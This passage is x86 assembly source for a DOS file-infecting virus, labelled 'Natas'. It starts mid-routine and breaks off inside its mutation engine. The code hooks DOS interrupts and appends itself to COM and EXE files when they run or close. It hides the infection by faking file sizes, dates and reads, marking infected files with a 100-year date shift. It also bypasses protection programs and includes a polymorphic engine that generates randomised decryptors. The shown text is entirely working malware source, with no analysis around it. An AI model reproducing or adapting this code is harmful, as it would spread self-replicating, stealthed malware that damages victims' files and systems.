                jb      is_dir_asciiz
                cmp     ah,12h
                ja      is_dir_asciiz
                call    call_21                 ; do find
                or      al,al                   ; error?
                je      dir_fcb
                jmp     jump_21

dir_fcb:        call    save_returns            ; save AX
                call    get_psp                 ; get current PSP
                mov     ax,'HC'
                scasw                           ; CHKDSK?
                jne     dir_fcb_ok
                mov     ax,'DK'
                scasw
                jne     dir_fcb_ok
                mov     ax,'KS'
                scasw
                je      retf_21
dir_fcb_ok:     call    get_dta                 ; get DTA address
                xor     di,di
                cmp     byte ptr ds:[bx],-1     ; extended FCB?
                jne     dir_fcb_next
                mov     di,7h                   ; fix it up
dir_fcb_next:   lea     si,ds:[bx+di.ds_date+1] ; offset of year -> SI
dir_hide:       call    is_specialfile          ; no stealth if helper
                je      retf_21
                cmp     byte ptr ds:[si],years  ; infected?
                jc      retf_21
                sub     byte ptr ds:[si],years  ; restore old date
                les     ax,ds:[bx+di.ds_size]   ; get size of file
                mov     cx,es
                sub     ax,file_size            ; hide size increase
                sbb     cx,0
                jc      retf_21
                mov     word ptr ds:[bx+di.ds_size],ax
                mov     word ptr ds:[bx+di.ds_size+2],cx ; save new size
retf_21:        call    undo_24                 ; unhook int 24h
                call    pop_all
                call    swap_21                 ; insert jump
                cli
                mov     ss,cs:int_21_ss
                mov     sp,cs:int_21_sp
                sti
                retf    2

                
is_dir_asciiz:  cmp     ah,4eh
                jb      is_lseek
                cmp     ah,4fh
                ja      is_lseek
                call    call_21
                jnc     dir_asciiz    
go_jump_21:     jmp     jump_21

dir_asciiz:     call    save_returns            ; save AX and flags
                call    get_dta                 ; get dta address
                mov     di,-3
                lea     si,ds:[bx.dta_date+1]   ; get year address
                jmp     dir_hide

is_lseek:       cmp     ax,4202h                ; Lseek to end?
                jne     is_date
                call    call_21_file
                jb      go_jump_21
                call    get_dcb                 ; get DCB address
                jbe     lseek_exit
                call    is_specialfile          ; dont hide true size from
                                                ; helpers
                je      lseek_exit
                sub     ax,file_size
                sbb     dx,0                    ; hide virus at end
                mov     word ptr ds:[di.dcb_pos],ax
                mov     word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
lseek_exit:     clc
                call    save_returns            ; save AX/flags
                mov     ss:[bp.reg_dx],dx
                jmp     retf_21

is_date:        cmp     ax,5700h                ; get date?
                je      get_date
                cmp     ax,5701h                ; set date?
                jne     is_read
                call    get_dcb
                jbe     date_err
                cmp     dh,years                ; already setting 100 years?
                jnb     date_err
                add     dh,years                ; dont erase marker
get_date:       call    is_specialfile          ; do not hide date for
                                                ; helpers
                je      date_err
                call    call_21_file            ; get/set date
                jnc     date_check
date_err:       jmp     jump_21

date_check:     cmp     dh,years                ; infected?
                jb      date_ok
                sub     dh,years
date_ok:        clc
                call    save_returns            ; save ax/flags
                mov     ss:[bp.reg_cx],cx
                mov     ss:[bp.reg_dx],dx       ; save time/date
                jmp     retf_21
                
is_read:        cmp     ah,3fh                  ; reading file?
                je      do_read
no_read:        jmp     is_write

do_read:        call    get_dcb                 ; get DCB address
                jbe     no_read
                call    is_specialfile
                je      no_read
                les     ax,ds:[di.dcb_size]     ; get size of file                                
                mov     bx,es
                les     dx,ds:[di.dcb_pos]      ; get current position
                mov     si,es
                and     cs:read_bytes,0
                or      si,si                   ; in 1st 64k?
                jnz     read_high
                cmp     dx,18h                  ; reading header?
                jnb     read_high
                push    cx
                add     cx,dx
                cmc
                jnc     read_above
                cmp     cx,18h                  ; read goes above header?
read_above:     pop     cx
                jb      read_below
                mov     cx,18h
                sub     cx,dx
read_below:     push    ax bx                   ; save size
                push    dx                      ; position
                sub     dx,18h
                add     ax,dx                   ; get position in header
                cmc
                sbb     bx,si
                xchg    word ptr ds:[di.dcb_pos],ax
                xchg    word ptr ds:[di.dcb_pos+2],bx ; lseek to header
                push    ax bx
                push    ds
                mov     ah,3fh                
                mov     dx,ss:[bp.reg_dx]
                mov     ds,ss:[bp.reg_ds]
                call    call_21_file            ; read file
                pop     ds
                pop     word ptr ds:[di.dcb_pos+2]
                pop     word ptr ds:[di.dcb_pos]
                pop     dx
                pushf
                add     dx,ax                   ; adjust position
                add     cs:read_bytes,ax        ; remember # of bytes read
                popf
                pop     bx ax
                jnc     read_high
                jmp     jump_21

read_high:      mov     word ptr ds:[di.dcb_pos],dx ; update position
                mov     word ptr ds:[di.dcb_pos+2],si
                mov     cx,ss:[bp.reg_cx]       ; number of bytes to read
                sub     cx,cs:read_bytes
                sub     ax,file_size
                sbb     bx,0                    ; get original size
                push    ax bx
                sub     ax,dx
                sbb     bx,si                   ; in virus now?
                pop     bx ax
                jnc     read_into
                xor     cx,cx                   ; read 0 bytes
                jmp     read_fake

read_into:      add     dx,cx
                adc     si,0                    ; get position after read
                cmp     bx,si                   ; read extends into virus?
                ja      read_fake
                jb      read_adjust
                cmp     ax,dx
                jnb     read_fake
read_adjust:    sub     dx,cx                   ; get position again
                xchg    cx,ax
                sub     cx,dx   ; # of bytes to read = Original size - Pos
read_fake:      mov     ah,3fh
                mov     dx,ss:[bp.reg_dx]
                add     dx,cs:read_bytes
                mov     ds,ss:[bp.reg_ds]
                call    call_21_file            ; read file
                jc      read_exit
                add     ax,0
read_bytes      =       word ptr $ - 2
                clc
read_exit:      call    save_returns
                jmp     retf_21
                

is_write:       cmp     ah,40h                  ; write?
                je      do_write
no_write:       jmp     is_infect

do_write:       call    get_dcb
                jbe     no_write
                les     ax,ds:[di.dcb_size]     ; get file size
                mov     bx,es
                sub     ax,18h
                sbb     bx,0                    ; get header position
                xchg    ax,word ptr ds:[di.dcb_pos]
                xchg    bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
                push    ax bx
                mov     ax,2
                xchg    ax,ds:[di.dcb_mode]     ; read/write mode
                push    ax
                push    ds cs
                pop     ds es
                call    read_header             ; read 18h bytes
                pop     es:[di.dcb_mode]        ; restore access mode
                jc      write_rest_pos
                mov     word ptr es:[di.dcb_pos],ax
                mov     word ptr es:[di.dcb_pos+2],ax ; lseek to start
                call    write_header                  ; write old header
                jc      write_rest_pos
                push    es
                pop     ds
                sub     word ptr ds:[di.dcb_size],file_size
                sbb     word ptr ds:[di.dcb_size+2],ax    ; truncate at virus
                sub     byte ptr ds:[di.dcb_date+1],years ; remove 100 years
write_rest_pos: pop     word ptr es:[di.dcb_pos+2]
                pop     word ptr es:[di.dcb_pos]
                jmp     jump_21


is_infect:      cmp     ah,3eh                  ; Close?
                je      infect_3e
                cmp     ax,4b00h                ; Execute?
                je      infect_4b
                jmp     jump_21

infect_4b:      mov     ax,3d00h                ; Open file
                cmp     ax,0
                org     $ - 2
infect_3e:      mov     ah,45h                  ; Duplicate handle
                call    int_2_bios              ; lock out protection programs
                call    call_21_file            ; get handle
                mov     cs:handle,ax
                mov     ax,4408h
                cwd
                jc      undo_bios
                call    get_dcb                 ; get DCB for handle
                jb      cant_infect
                jne     cant_infect             ; error/already infected
                mov     bl,00111111b
                and     bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
                mov     dl,bl                   ; DX=00**
                inc     bx                      ; 0=default,1=a,2=b,3=c,etc.
                call    call_21                 ; drive removable?
                mov     cx,1h
                push    cs
                pop     es
                jc      test_prot_drive
                dec     ax                      ; 1=non-removable
                jz      no_protect
                jmp     test_protect

test_prot_drive:cmp     dl,1                    ; A or B?
                ja      no_protect
test_protect:   mov     ax,201h
                mov     bx,offset disk_buff
                int     13h                     ; read sector
                jc      cant_infect
                mov     ax,301h
                int     13h                     ; write it back
                jc      cant_infect
no_protect:     inc     cx                      ; CX=2
                xchg    cx,ds:[di.dcb_mode]     ; read/write access mode
                push    cx
                xor     ax,ax
                xchg    ah,ds:[di.dcb_attr]     ; attribute=0
                test    ah,00000100b            ; system file?
                push    ax
                jne     cant_system
                cbw
                cwd
                xchg    ax,word ptr ds:[di.dcb_pos]
                xchg    dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
                push    ax dx
                mov     bp,-'OC'
                add     bp,word ptr ds:[di.dcb_ext]   ; BP=0 of CO
                jnz     not_com
                mov     bp,-'MO'
                add     bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
not_com:        call    infect
                pushf
                call    get_dcb
                popf
                jc      not_infected
                add     byte ptr ds:[di.dcb_date+1],years   ; add 100 years
not_infected:   or      byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
                pop     word ptr ds:[di.dcb_pos+2]
                pop     word ptr ds:[di.dcb_pos]
cant_system:    pop     word ptr ds:[di.dcb_attr-1] ; restore attribute
                pop     ds:[di.dcb_mode]        ; restore access mode
cant_infect:    mov     ah,3eh
                call    call_21_file            ; close file
undo_bios:      call    int_2_bios              ; restore interrupts
                
;=====( Jump on to int 21h )=================================================;

jump_21:        call    undo_24                 ; unhook int 24h
                push    cs
                pop     ds
                mov     al,1h
                mov     di,offset int_1
                cmp     byte ptr ds:[di+origin-int_1],al ; file origin?
                jne     jump_21_1
                call    get_int                 ; get int 1h address
                mov     ds:[di],bx
                mov     ds:[di + 2],es
                mov     byte ptr ds:[di+inst_count-int_1],5
                mov     ds:trace_mode,step_21
                mov     dx,offset tracer
                call    set_int                 ; hook int 1h
                call    pop_all
                push    si
                pushf
                pop     si
                call    si_tf                   ; set TF
                pop     si
go_21:          cli
                mov     ss,cs:int_21_ss
                mov     sp,cs:int_21_sp         ; restore stack
                sti
go_2_21:        jmp     cs:int_21
                
jump_21_1:      call    pop_all
                jmp     go_21

;=====( actual infection routine )===========================================;

infect:         push    cs
                pop     ds
                call    read_header             ; read first 18h bytes
                jc      inf_bad_file
                mov     si,dx
                mov     di,offset work_header
                cld
                rep     movsb                   ; copy header to work_header
                call    get_dcb
                les     ax,ds:[di.dcb_size]     ; get file size
                mov     dx,es
                mov     word ptr ds:[di.dcb_pos],ax
                mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
                push    cs cs
                pop     es ds
                mov     cx,ds:[si]              ; get first 2 bytes
                cmp     cx,'MZ'                 ; .EXE file?
                je      inf_exe
                cmp     cx,'ZM'                 ; .EXE file?
                je      inf_exe
                or      dx,bp                   ; COM file and < 64k?
                jnz     inf_bad_file
                cmp     ax,0-(file_size+100)
                ja      inf_bad_file
                cmp     ax,1000
                jb      inf_bad_file
                mov     byte ptr ds:[si],0e9h   ; build jump
                inc     ah                      ; Add PSP size (100h)
                push    ax                      ; save IP for engine
                add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
                mov     ds:[si+1],ax
                jmp     append_vir

inf_bad_file:   stc
                retn

inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
                jne     inf_bad_file
                mov     bp,ax
                mov     di,dx                   ; save size in DI:BP
                mov     cx,200h
                div     cx                      ; divide into pages
                or      dx,dx                   ; Any remainder?
                jz      no_round
                inc     ax
no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
                jne     inf_bad_file
                sub     dx,ds:[si.eh_modulo]
                jne     inf_bad_file
                mov     ax,file_size            ; virus size
                add     ax,bp
                adc     dx,di                   ; + program size
                div     cx                      ; / 512
                or      dx,dx                   ; round up?
                jz      no_round1
                inc     ax
no_round1:      mov     ds:[si.eh_size],ax
                mov     ds:[si.eh_modulo],dx    ; set new size
                mov     bx,0-(file_size+1000)
                xor     cx,cx
get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
                                                ; cross segments
                jb      got_exe_ip
                sub     bp,10h                  ; down 10h bytes
                loop    get_exe_ip              ; up 1 paragraph
got_exe_ip:     cmp     di,0fh
                ja      inf_bad_file
                xchg    cx,ax
                mov     cl,4
                ror     di,cl                   ; get segment displacement
                or      ax,ax
                jz      no_para_add
                sub     di,ax                   ; Add segments from LOOP
                jnc     inf_bad_file
no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
                                                ; paragraphs
                push    bp                      ; save offset of v_start
                add     bp,decrypt-v_start
                mov     ds:[si.eh_ip],bp        ; set IP
                mov     ds:[si.eh_cs],di        ; set CS
                add     bp,512                  ; 512 bytes of stack
                mov     ds:[si.eh_sp],bp        ; set SP
                mov     ds:[si.eh_ss],di        ; set SS
                mov     bp,8000h                ; Tell engine "Exe file"
                sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
                mov     ax,ds:[si.eh_min_mem]
                sub     ax,bx                   ; add file_size+1000h/16
                jnb     append_vir
                mov     ds:[si.eh_min_mem],ax

append_vir:     pop     ax
                call    engine                  ; encrypt/write/decrypt
                push    bp             
                popf
                jc      append_vir_err
                call    get_dcb
                mov     word ptr ds:[di.dcb_pos],cx
                mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
                mov     ah,40h
                mov     dx,offset work_header
                push    cs
                pop     ds
                call    header_op               ; write new header to file
append_vir_err: retn
                
;=====( Get DCB address for file )===========================================;

get_dcb:        push    ax bx 
                mov     ax,1220h
                mov     bx,cs:handle            ; get file handle
                int     2fh                     ; get DCB number address
                jc      get_dcb_fail
                mov     ax,1216h
                mov     bl,es:[di]              ; get DCB number
                cmp     bl,-1                   ; Handle Openned?
                cmc
                je      get_dcb_fail
                int     2fh                     ; get DCB address
                jc      get_dcb_fail
                push    es
                pop     ds
                test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
                cmc
                jne     get_dcb_fail
                test    byte ptr ds:[di.dcb_date+1],80h ; infected?
get_dcb_fail:   pop     bx ax               
                retn

;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;

int_2_bios:     push    ax bx dx ds
                mov     al,13h                  ; int 13h
                mov     di,offset int_13
int_2_bios_lp:  push    cs
                pop     ds
                call    get_int                 ; get int address               
                mov     dx,es
                xchg    bx,ds:[di]              ; swap offsets
                cld
                scasw
                xchg    dx,bx
                xchg    bx,ds:[di]              ; swap segments
                scasw
                mov     ds,bx                   ; DS:DX=new address
                call    set_int                 ; set int to DS:DX
                cmp     al,15h                  
                mov     al,15h
                jnb     int_2_bios_40           ; CY AL=13h
                add     di,4
                jmp     int_2_bios_lp

int_2_bios_40:  mov     al,40h
                je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
                pop     ds dx bx ax
                retn

;=====( Read/write header to file )==========================================;

read_header:    mov     ah,3fh
                cmp     ax,0
                org     $ - 2
write_header:   mov     ah,40h
                mov     dx,offset header
header_op:      mov     cx,18h
                call    call_21_file             ; read/write header
                jc      read_write_err
                sub     ax,cx
read_write_err: retn

;=====( Unhook int 24h )=====================================================;

undo_24:        mov     al,24h
                lds     dx,cs:int_24
                call    set_int                 ; unhook int 24h
                in      al,21h
                and     al,not 2                ; enable keyboard
                out     21h,al
                retn

;=====( Save returns after int 21h call )====================================;

save_returns:   mov     ss:[bp.reg_ax],ax
                pushf
                pop     ss:[bp.reg_f]
                retn

;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;

is_specialfile: push    ax cx si di es
                mov     al,0
check_special   =       byte ptr $ - 1
                or      al,al                   ; Check for special?
                jnz     it_is_special
                call    get_psp                 ; get MCB of current PSP
                mov     ax,es:[di]              ; get 1st 2 letters of name
                cmp     ax,'RA'                 ; ARj?
                je      it_is_special
                cmp     ax,'HL'                 ; LHa?
                je      it_is_special
                cmp     ax,'KP'                 ; PKzip?
                je      it_is_special
                mov     cx,2
                mov     si,offset backup
is_it_mod_bak:  push    cx di
                mov     cl,8
                lods    byte ptr cs:[si]        ; get 'B' or 'M'
                xor     al,66h + 6h             ; decrypt
                repne   scasb
                jne     is_it_mod
                cmp     cl,3
                jb      is_it_mod
                mov     cl,4
is_ode_ack:     lods    byte ptr cs:[si]
                xor     al,66h + 6h
                jz      is_it_mod               ; 0 (done)?
                scasb
                loope   is_ode_ack
is_it_mod:      mov     si,offset modem
                pop     di cx
                loopne  is_it_mod_bak
it_is_special:  pop     es di si cx ax
                retn

backup:         db      'B' xor (66h + 6h) 
                db      'A' xor (66h + 6h)
                db      'C' xor (66h + 6h)
                db      'K' xor (66h + 6h)
                db      0   xor (66h + 6h)

modem:          db      'M' xor (66h + 6h)
                db      'O' xor (66h + 6h)
                db      'D' xor (66h + 6h)
                db      'E' xor (66h + 6h)
                db      'M' xor (66h + 6h)


;=====( get current PSP segment )============================================;

get_psp:        push    ax bx
                mov     ah,62h
                call    call_21                 ; get PSP segment
                dec     bx
                mov     es,bx                   ; MCB of current program
                mov     di,8h                   ; offset of file name
                cld
                pop     bx ax
                retn
                
;=====( Get DTA address )====================================================;

get_dta:        mov     ah,2fh
                call    call_21                 ; DTA address into ES:BX
                push    es
                pop     ds
                retn

call_dos_13:    call    swap_13
                pushf
                call    cs:dos_13
                call    swap_13
                retn

call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
                je      call_40

call_13:        pushf
                call    cs:int_13
                retn

call_21_file:   mov     bx,0
handle          =       word ptr $ - 2

call_21:        pushf
                push    cs
                call    go_2_21
                retn

call_40:        pushf
                call    cs:int_40
                retn

include eng.asm

                db      "Natas",0

even

decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
                mov     byte ptr ds:[102h],0e8h         ; CALL
                jmp     file_start
                
                org     decrypt + 150

header          dw      18h / 2 dup(20cdh)

file_end:

work_header     dw      18h / 2 dup(?)
                
write_buff:     db      encode_end-encode dup(?)

int_21_ss       dw      ?
int_21_sp       dw      ?

                dw      256 / 2 dup(?)
temp_stack:            

jump_code_13    db      5 dup(?)
jump_code_21    db      5 dup(?)

int_1           dd      ?
int_24          dd      ?

int_13          dd      ?
dos_13          dd      ?
int_15          dd      ?
int_40          dd      ?
int_21          dd      ?

new_24:         db      3 dup(?)

push_pop_ret    dw      ?

pointer         dw      ?
disp            dw      ?
encode_ptr      dw      ?
encode_enc_ptr  dw      ?

key_reg         db      ?
count_reg       db      ?
ptr_reg         db      ?
ptr_reg1        db      ?
modify_op       db      ?


origin          db      ?
inst_count      db      ?

disk_buff       db      512 dup(?)

v_end:


;=====( Very useful structures )=============================================;



;=====( Memory Control Block structure )=====================================;

mcb             struc
mcb_sig         db      ?               ; 'Z' or 'M'
mcb_owner       dw      ?               ; attribute of owner
mcb_size        dw      ?               ; size of mcb block
mcb_name        db      8 dup(?)        ; file name of owner
mcb             ends


;=====( For functions 11h and 12h )==========================================;


Directory       STRUC
DS_Drive        db ?
DS_Name         db 8 dup(0)
DS_Ext          db 3 dup(0)
DS_Attr         db ?
DS_Reserved     db 10 dup(0)
DS_Time         dw ?
DS_Date         dw ?
DS_Start_Clust  dw ?
DS_Size         dd ?
Directory       ENDS


;=====( for functions 4eh and 4fh )==========================================;


DTA             STRUC
DTA_Reserved    db 21 dup(0)
DTA_Attr        db ?
DTA_Time        dw ?
DTA_Date        dw ?
DTA_Size        dd ?
DTA_Name        db 13 dup(0)
DTA             ENDS


Exe_Header      STRUC
EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo       dw ?                    ; remainder of file size/512
EH_Size         dw ?                    ; file size/512
EH_Reloc        dw ?                    ; Number of relocation items
EH_Size_Header  dw ?                    ; Size of header in paragraphs
EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
EH_SS           dw ?                    ; Stack segment displacement
EH_SP           dw ?                    ; Stack Pointer
EH_Checksum     dw ?                    ; Checksum, not used
EH_IP           dw ?                    ; Instruction Pointer of Exe file
EH_CS           dw ?                    ; Code segment displacement of .exe
eh_1st_reloc    dw      ?               ; first relocation item
eh_ovl          dw      ?               ; overlay number
Exe_Header      ENDS                      

Boot_Sector             STRUC
bs_Jump                 db 3 dup(?)
bs_Oem_Name             db 8 dup(?)
bs_Bytes_Per_Sector     dw ?
bs_Sectors_Per_Cluster  db ?
bs_Reserved_Sectors     dw ?               
bs_FATs                 db ?             ; Number of FATs
bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
bs_Sectors              dw ?             ; number of sectors; small
bs_Media                db ?             ; Media descriptor byte
bs_Sectors_Per_FAT      dw ?
bs_Sectors_Per_Track    dw ?               
bs_Heads                dw ?             ; number of heads
bs_Hidden_Sectors       dd ?
bs_Huge_Sectors         dd ?             ; number of sectors; large
bs_Drive_Number         db ?
bs_Reserved             db ?
bs_Boot_Signature       db ?
bs_Volume_ID            dd ?
bs_Volume_Label         db 11 dup(?)
bs_File_System_Type     db 8 dup(?)
Boot_Sector             ENDS
                
                
Partition_Table         STRUC
pt_Code                 db 1beh dup(?)  ; partition table code
pt_Status               db ?            ; 0=non-bootable 80h=bootable
pt_Start_Head           db ?            
pt_Start_Sector_Track   dw ?
pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
pt_End_Head             db ?
pt_End_Sector_Track     dw ?
pt_Starting_Abs_Sector  dd ?
pt_Number_Sectors       dd ?
Partition_Table         ENDS


int_1_stack     STRUC
st_ip           dw ?                    ; offset of next instruction after
                                        ; interrupt
st_cs           dw ?                    ; segment of next instruction
st_flags        dw ?                    ; flags when interrupt was called
int_1_stack     ENDS

;----------------------------------------------------------------------------;
;               Dcb description for DOS 3+                                   ;   
;                                                                            ;
;      Offset  Size    Description                                           ;
;       00h    WORD    number of file handles referring to this file         ;
;       02h    WORD    file open mode (see AH=3Dh)                           ;
;              bit 15 set if this file opened via FCB                        ;
;       04h    BYTE    file attribute                                        ;
;       05h    WORD    device info word (see AX=4400h)                       ;
;       07h    DWORD   pointer to device driver header if character device   ;
;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
;       0Bh    WORD    starting cluster of file                              ;
;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
;       11h    DWORD   file size                                             ;
;       15h    DWORD   current offset in file                                ;
;       19h    WORD    relative cluster within file of last cluster accessed ;
;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
;              0000h if file never read or written???                        ;
;       1Dh    WORD    number of sector containing directory entry           ;
;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
;       33h    WORD    offset within SHARE.EXE code segment of               ;
;              sharing record (see below)  0000h = none                      ;
;----------------------------------------------------------------------------;                                                                            



dcb             struc
dcb_users       dw      ?
dcb_mode        dw      ?
dcb_attr        db      ?
dcb_dev_attr    dw      ?
dcb_drv_addr    dd      ?
dcb_1st_clst    dw      ?
dcb_time        dw      ?
dcb_date        dw      ?
dcb_size        dd      ?
dcb_pos         dd      ?
dcb_last_clst   dw      ?
dcb_current_clst dw     ?
dcb_dir_sec     dw      ?
dcb_dir_entry   db      ?
dcb_name        db      8 dup(?)
dcb_ext         db      3 dup(?)
dcb_useless1    dw      ?
dcb_useless2    dw      ?
dcb_useless3    dw      ?
dcb_psp_seg     dw      ?
dcb_useless4    dw      ?
dcb             ends

bpb                     STRUC
bpb_Bytes_Per_Sec       dw ?
bpb_Sec_Per_Clust       db ?
bpb_Reserved_Sectors    dw ?               
bpb_FATs                db ?             ; Number of FATs
bpb_Root_Dir_Entries    dw ?             ; Max number of root dir entries
bpb_Sectors             dw ?             ; number of sectors; small
bpb_Media               db ?             ; Media descriptor byte
bpb_Sectors_Per_FAT     dw ?
bpb_Sectors_Per_Track   dw ?               
bpb_Heads               dw ?             ; number of heads
bpb_Hidden_Sectors      dd ?
bpb_Huge_Sectors        dd ?             ; number of sectors; large
bpb_Drive_Number        db ?
bpb_Reserved            db ?
bpb_Boot_Signature      db ?
bpb_Volume_ID           dd ?
bpb_Volume_Label        db 11 dup(?)
bpb_File_System_Type    db 8 dup(?)
bpb                     ENDS


register        struc
reg_es          dw      ?
reg_ds          dw      ?
reg_di          dw      ?
reg_si          dw      ?
reg_bp          dw      ?
reg_dx          dw      ?
reg_cx          dw      ?
reg_bx          dw      ?
reg_ax          dw      ?
reg_f           dw      ?
register        ends

sys_file        struc
sys_next        dd      ?
sys_strat       dw      ?
sys_int         dw      ?
sys_file        ends
                
                
                end
-----------------------------<>---------------------------------------

_ax             equ     0
_cx             equ     1
_dx             equ     2
_bx             equ     3
_sp             equ     4
_bp             equ     5
_si             equ     6
_di             equ     7

                
engine:         mov     ds:pointer,ax           ; save IP
                mov     di,offset decrypt
                mov     bx,offset make_count
                mov     cx,offset make_key
                mov     dx,offset make_ptr
                mov     si,offset order_ret
                or      bp,11101111b            ; SP is used
                call    order                   ; randomize and call registers
                push    di                      ; save start of loop
                push    di
                mov     si,offset encode
                mov     di,offset write_buff
                mov     cx,encode_end-encode
                rep     movsb                   ; copy write code
                mov     ds:encode_ptr,offset (encode_break-encode)+write_buff
                pop     di
                mov     bx,offset make_enc
                mov     cx,offset make_keychange
                mov     dx,offset make_deccount
                mov     si,offset make_incptr
                call    order                   ; call routines

;=====( Preform loop )=======================================================;

                mov     ax,2
                push    ax
                call    random                  ; test BP for 4000?
                pop     ax
                jz      loop_no_test
                test    bp,4000h                ; possible to just "Jcc"?
                jnz     loop_make_jcc
loop_no_test:   call    random
                jz      loop_no_test1
                test    bp,2000h                ; use loop?
                jnz     loop_make_jcc
loop_no_test1:  or      bp,800h                 ; do not change flags
                mov     ax,2
                cwd
                call    random                  ; try OR/AND/TEST reg,reg
                                                ; or XOR/ADD/OR/SUB reg,0?
                mov     al,ds:count_reg         ; get counter
                jnz     loop_orandtest
                call    boolean                 ; do XOR/OR/ADD or ADD/SUB?
                jnz     loop_modify
                call    add_reg                 ; ADD/SUB reg,0
                jmp     loop_make_jcc

loop_modify:    call    modify_reg              ; XOR/OR/ADD reg,0
                jmp     loop_make_jcc

loop_orandtest: mov     cl,3
                mov     ch,al
                shl     ch,cl
                or      al,ch                   ; set reg1 as reg2 also
                mov     bx,2                    ; OR/AND/TEST
                call    random_bx
                jnz     loop_and
                or      ax,9c0h                 ; OR reg1, reg2
loop_reverse:   call    boolean                 ; use 9 or 11?
                jnz     loop_orandteststo
                or      ah,2h                   ; reg2, reg1
                jmp     loop_orandteststo

loop_and:       dec     bx
                jnz     loop_test
                or      ax,21c0h                ; AND reg1, reg2
                jmp     loop_reverse

loop_test:      or      ax,85c0h                ; TEST reg1, reg2
loop_orandteststo:
                xchg    al,ah
                stosw                           ; store TEST/OR/AND
                or      bp,1800h                ; do not change flags/
                                                ; test stored
                call    garble
loop_make_jcc:  and     bp,not 800h
                test    bp,2000h                ; code loop?
                jz      loop_make_jump
                mov     al,0e2h                 ; LOOP
                test    bp,1000h                ; possible to use LOOPNZ/Z?
                jz      loop_code_disp
                call    boolean
                jnz     loop_code_disp
                dec     ax                      ; LOOPZ
                call    boolean
                jnz     loop_iscx
                dec     ax                      ; LOOPNZ
                jmp     loop_code_disp
                
;=====( Now make conditional jump )==========================================;

jcc_tbl:        db      75h,79h,7dh,7fh         ; JNE/JNS/JG/JGE

loop_make_jump: mov     bx,offset jcc_tbl
                mov     ax,3
                call    random
                xlat                            ; get Conditional jump
                mov     bx,2
                call    random_bx               ; use JE/JS/LE/L then JMP?
                jnz     loop_code_disp
                cmp     ds:count_reg,_cx        ; CX is counter?
                jnz     loop_notcx
                mov     bl,4
                call    random_bx
                jnz     loop_notcx
                mov     al,0e3h + 1             ; JCXZ + 1
loop_notcx:     dec     ax
loop_iscx:      stosw
                cmp     al,07fh                 ; Jcxz/loopz?
                ja      loop_code_short
                call    boolean                 ; Use opposite or EB?
                jnz     loop_code_short
                or      bp,800h                 ; dont change flags
loop_code_short:mov     si,di                   ; save offset of displacement
                call    garble
                lea     ax,ds:[si-2]
                sub     ax,di
                neg     al                      ; get jump displacement
                mov     ds:[si-1],al            ; save it
                test    bp,800h                 ; Dont change flags -> "Jcc"
                mov     al,0ebh                 ; Jmp short
                je      loop_code_disp
                mov     ax,3
                call    random
                mov     bx,offset jcc_tbl
                xlat                            ; Get JNE/JNS/JG/JGE
loop_code_disp: stosb                           ; store jump
                pop     ax                      ; start of loop
                dec     ax
                sub     ax,di                   ; get loop displacement
                stosb
                or      bp,11101111b            ; free all registers
                and     bp,not 800h             ; allow flags to change
                call    garble
                mov     ax,19
                call    random                  ; 1 in 20 chance of non-jmp
                jnz     loop_code_jmp
                mov     ax,ds:pointer
                add     ax,offset file_start    ; where to jump
                xchg    dx,ax
                call    get_reg                 ; get a register
                call    mov_reg                 ; Mov value into register
                or      ax,0ffc0h + (4 shl 3)   ; JMP reg16
                call    boolean                 ; PUSH/RET or JMP reg16?
                jnz     loop_code_push
                xchg    al,ah
                jmp     loop_code_stosw

loop_code_push: mov     bx,2
                call    random_bx               ; 1 in 3 chance of FF /6 PUSH
                jnz     loop_code_push1
                xor     al,(6 shl 3) xor (4 shl 3) ; PUSH reg
                xchg    al,ah                
                stosw
                jmp     loop_code_ret

loop_code_push1:xor     al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
                stosb
loop_code_ret:  call    garble
                mov     al,0c3h                 ; RETN
                stosb
                jmp     loop_code_end

loop_code_jmp:  mov     al,0e9h
                stosb                           ; Store Jump
                lea     ax,ds:[di-((file_start-2)-v_start)]
                neg     ax                      ; Jmp file_start
loop_code_stosw:stosw
loop_code_end:  mov     si,ds:encode_enc_ptr    ; get encrypt instruction ptr                                
                cmp     di,offset header        ; Decryptor is too large?
                jb      go_write_buff
                stc                             ; return error
                pushf
                pop     bp
                retn

go_write_buff:  jmp     write_buff              ; encrypt/write/decrypt


;=====( Inc pointer )========================================================;

make_incptr:    mov     ax,word ptr ds:ptr_reg  ; get pointer registers
                mov     dx,2                    ; ADD ptr,2
                cmp     ah,-1                   ; two registers used?
                jz      make_incptr_1
                call    boolean                 ; do one or both?
                jnz     make_incptr_do1
                dec     dx                      ; ADD ptr,1
                call    make_incptr_do1
                jmp     make_incptr_2

make_incptr_do1:call    boolean
